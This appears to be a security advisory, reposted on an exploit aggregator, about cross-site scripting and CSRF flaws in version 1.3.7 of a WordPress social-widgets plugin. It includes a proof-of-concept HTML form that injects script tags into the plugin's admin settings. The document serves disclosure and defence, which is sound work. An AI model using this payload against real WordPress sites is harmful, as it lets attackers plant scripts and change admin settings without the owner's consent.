Lucene search
K

WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting Vulnerability

🗓️ 04 Aug 2015 00:00:00Reported by Kenneth JepsenType 
zdt
 zdt
🔗 0day.today👁 30 Views

WordPress 'Facebook, Twitter & Google+ Social Widgets' Plugin 1.3.7 Cross Site Scripting Vulnerability- Echoing of Unsanitized URI & Stored CSR

Code
Title: WordPress 'Facebook, Twitter & Google+ Social Widgets' Plugin
Version: 1.3.7
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-15
Download:
- https://wordpress.org/plugins/facebook-twitter-google-social-widgets/
- https://plugins.svn.wordpress.org/facebook-twitter-google-social-widgets/
Notified WordPress: 2015-06-23
==========================================================

## Plugin description
==========================================================
Simple plug-in that displays the most important social widgets from Facebook, Twitter and Google+ below your posts. Very easy to setup: just activate

## Vulnerabilities
==========================================================

The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a malicious URL (keep in mind that most modern browsers encode the url). This happens on line 134 in the file SWAdmin.php

Some of the plugin settings in the admin menu are vulnerable to stored XSS. Furthermore, all settings can be set through CSRF.

PoC:
Log in as admin and submit the following request:

<form method="POST" action="[URL]/wp-admin/options-general.php?page=social-widgets-options">
<input type="text" name="sw_hidden" value="Y" required><br />
<input type="text" name="sw_facebook" value="1" required><br />
<input type="text" name="sw_twitter" value="2" required><br />
<input type="text" name="sw_google" value="3" required><br />
<input type="text" name="sw_displayonposts" value="1" required><br />
<input type="text" name="sw_displayonpages" value="1" required><br />
<input type="text" name="sw_displaybelowpost" value="1" required><br />
<input type="text" name="sw_contentfilterpriority" value="10" required><br />
<input type="text" name="sw_supportplugin" value="1" required><br />
<input type="text" name="sw_cssstyleall" value=""><script>alert(1)</script>"><br />
<input type="text" name="sw_cssstylewidget" value=""><script>alert(2)</script>"><br />
<input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation